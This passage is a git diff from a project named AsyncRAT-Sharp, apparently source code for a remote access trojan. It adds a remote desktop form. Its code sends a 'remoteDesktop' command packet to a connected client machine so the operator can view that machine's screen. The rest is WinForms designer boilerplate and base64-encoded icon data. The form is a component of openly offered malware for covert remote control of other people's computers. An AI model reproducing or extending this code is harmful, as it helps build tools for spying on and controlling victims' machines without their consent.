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 + gg== + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs new file mode 100644 index 0000000..d720203 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs @@ -0,0 +1,75 @@ +namespace AsyncRAT_Sharp.Forms +{ + partial class RemoteDesktop + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemoteDesktop)); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // pictureBox1 + // + this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.pictureBox1.Location = new System.Drawing.Point(0, 0); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(938, 485); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + // + // timer1 + // + this.timer1.Enabled = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.timer1_Tick); + // + // RemoteDesktop + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(938, 485); + this.Controls.Add(this.pictureBox1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "RemoteDesktop"; + this.Text = "RemoteDesktop"; + this.Activated += new System.EventHandler(this.RemoteDesktop_Activated); + this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + public System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Timer timer1; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs new file mode 100644 index 0000000..fc621f4 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -0,0 +1,61 @@ +using StreamLibrary; +using StreamLibrary.UnsafeCodecs; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AsyncRAT_Sharp.Sockets; +using AsyncRAT_Sharp.MessagePack; + +namespace AsyncRAT_Sharp.Forms +{ + public partial class RemoteDesktop : Form + { + public RemoteDesktop() + { + InitializeComponent(); + } + + public Form1 F { get; set; } + internal Clients C { get; set; } + public bool Active { get; set; } + public int FPS = 0; + public Stopwatch sw = Stopwatch.StartNew(); + public Stopwatch RenderSW = Stopwatch.StartNew(); + public IUnsafeCodec decoder = new UnsafeStreamCodec(80); + + private void timer1_Tick(object sender, EventArgs e) + { + if (!C.Client.Connected) + { + this.Close(); + } + } + + private void RemoteDesktop_Activated(object sender, EventArgs e) + { + if (Active == false) + { + Active = true; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "true"; + C.BeginSend(msgpack.Encode2Bytes()); + } + } + + private void RemoteDesktop_Deactivate(object sender, EventArgs e) + { + if (Active == true) + { + Active = false; + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx new file mode 100644 index 0000000..e9b4dee --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx @@ -0,0 +1,580 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + 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 + O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt + 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx + AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx + AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919 + AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx + AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff + wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19 + ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg + x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt + Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx + AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp + Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919 + AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+ + /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19 + AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V + tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D + DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19 + AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19 + AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx + AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA + AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA + AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx + ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx + AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8 + AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919 + AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx + AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7 + AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv + AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx + Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys + a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918 + AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw + AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19 + AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx + AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19 + AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz + AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA + AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A + Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx + AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be + v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx + AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW//// + /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917 + AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db + v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5//// + ///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919 + ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW + RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19 + AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA + Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx + AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS//// + ///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918 + AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5 + EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919 + AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+ + /f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx + 